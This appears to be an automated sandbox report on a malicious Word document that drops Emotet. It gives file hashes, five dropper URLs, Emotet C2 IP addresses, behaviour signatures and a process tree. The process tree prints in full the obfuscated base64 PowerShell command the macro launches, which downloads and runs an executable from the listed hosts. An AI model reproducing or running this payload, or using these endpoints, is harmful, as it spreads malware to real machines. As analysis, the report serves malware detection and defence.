Analysis

  • max time kernel
    64s
  • max time network
    86s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    01-08-2020 19:37

General

  • Target

    SecuriteInfo.com.Exploit.Siggen2.12168.628.10714.doc

  • Size

    175KB

  • MD5

    f45feed4990d9cd2fd39f0c65d6f9ce1

  • SHA1

    fca6543360cd426837f6d1e51113b1e9913e9ec9

  • SHA256

    09eb830504d741bcee262df02b0ab081a25e11103b0dbb29bba815277d9f43ad

  • SHA512

    28daa98ffde7b44cc7209db76ea02d913156a2ee0d798af82afb0ef7835f6f38ac4edaa607238af3a9640113e530fed7ef38b72aff8954eb516aa208fbf6d260

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.librero.xyz/Scripts/3y_m0cbe_lpgoj7z/

exe.dropper

https://scoenuganda.org/wp-admin/k_fhsvc_wni2zxzrc/

exe.dropper

https://www.dunnriteplumbing.ca/wp-admin/12x_jaaq_o3/

exe.dropper

http://www.najcosmetics.com/img/hvglv_hay_35sacodg/

exe.dropper

http://www.oxahaus.com/wp-admin/d8teb_n0v0h_dm0uyok/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Modifies registry class 280 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12168.628.10714.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:336
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAFcAVQBIAE8AYQBxAHQAPQAnAFoAVwBSAEcAVwBiAHQAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAFIAaQB0AGAAeQBgAFAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQgBJAFIAUwBCAHEAeQBnACAAPQAgACcANAA2ADMAJwA7ACQARgBKAEkATgBFAGoAaQBkAD0AJwBUAEYARwBEAEIAbAB2AGMAJwA7ACQASgBCAFIAVQBGAGUAcwBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABCAEkAUgBTAEIAcQB5AGcAKwAnAC4AZQB4AGUAJwA7ACQAQwBNAFEARABMAG0AcwBzAD0AJwBWAE0AUABaAEMAZQBjAGIAJwA7ACQAWgBaAFYASgBBAHYAagBuAD0AJgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAHcAZQBiAGMAbABpAGUATgBUADsAJABaAE8ATgBGAFQAcgBqAGwAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBsAGkAYgByAGUAcgBvAC4AeAB5AHoALwBTAGMAcgBpAHAAdABzAC8AMwB5AF8AbQAwAGMAYgBlAF8AbABwAGcAbwBqADcAegAvACoAaAB0AHQAcABzADoALwAvAHMAYwBvAGUAbgB1AGcAYQBuAGQAYQAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AawBfAGYAaABzAHYAYwBfAHcAbgBpADIAegB4AHoAcgBjAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBkAHUAbgBuAHIAaQB0AGUAcABsAHUAbQBiAGkAbgBnAC4AYwBhAC8AdwBwAC0AYQBkAG0AaQBuAC8AMQAyAHgAXwBqAGEAYQBxAF8AbwAzAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbgBhAGoAYwBvAHMAbQBlAHQAaQBjAHMALgBjAG8AbQAvAGkAbQBnAC8AaAB2AGcAbAB2AF8AaABhAHkAXwAzADUAcwBhAGMAbwBkAGcALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBvAHgAYQBoAGEAdQBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBkADgAdABlAGIAXwBuADAAdgAwAGgAXwBkAG0AMAB1AHkAbwBrAC8AJwAuACIAcwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABKAEkAUABYAEcAeAB2AGEAPQAnAFMAVABQAFYAQQB6AGwAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQATQBIAFgAQwBIAHAAbgB5ACAAaQBuACAAJABaAE8ATgBGAFQAcgBqAGwAKQB7AHQAcgB5AHsAJABaAFoAVgBKAEEAdgBqAG4ALgAiAGQAbwBgAHcATgBMAGAATwBBAEQARgBpAGAAbABlACIAKAAkAE0ASABYAEMASABwAG4AeQAsACAAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARwBCAFgAVgBVAG0AdABtAD0AJwBGAFUARABDAEIAYQBxAG0AJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABKAEIAUgBVAEYAZQBzAG8AKQAuACIATABFAGAATgBHAFQASAAiACAALQBnAGUAIAAzADQAOAA1ADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGAARQBhAHQAZQAiACgAJABKAEIAUgBVAEYAZQBzAG8AKQA7ACQARgBGAFQASQBMAGEAYQB5AD0AJwBaAEwAUQBPAEYAZgB2AHoAJwA7AGIAcgBlAGEAawA7ACQATgBPAEMARABVAGcAcABnAD0AJwBRAFIAUABGAE8AZwBzAHIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBTAE0AVgBVAG4AdABtAD0AJwBQAEcAWABXAEYAYQBzAHoAJwA=
    1⤵
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:1904
  • C:\Users\Admin\463.exe
    C:\Users\Admin\463.exe
    1⤵
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:648
    • C:\Windows\SysWOW64\dot3cfg\msrd3x40.exe
      "C:\Windows\SysWOW64\dot3cfg\msrd3x40.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:1592

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\463.exe
  • C:\Users\Admin\463.exe
  • C:\Windows\SysWOW64\dot3cfg\msrd3x40.exe
  • memory/336-2-0x00000000088C0000-0x00000000088C4000-memory.dmp
    Filesize

    16KB

  • memory/336-4-0x0000000006E10000-0x0000000007010000-memory.dmp
    Filesize

    2.0MB

  • memory/336-5-0x0000000006E10000-0x0000000007010000-memory.dmp
    Filesize

    2.0MB

  • memory/336-6-0x000000000AD90000-0x000000000AD94000-memory.dmp
    Filesize

    16KB

  • memory/336-7-0x000000000BE10000-0x000000000BE14000-memory.dmp
    Filesize

    16KB

  • memory/336-10-0x0000000002180000-0x0000000002181000-memory.dmp
    Filesize

    4KB

  • memory/648-12-0x0000000000270000-0x000000000027C000-memory.dmp
    Filesize

    48KB

  • memory/1592-14-0x0000000000000000-mapping.dmp
  • memory/1592-16-0x0000000000370000-0x000000000037C000-memory.dmp
    Filesize

    48KB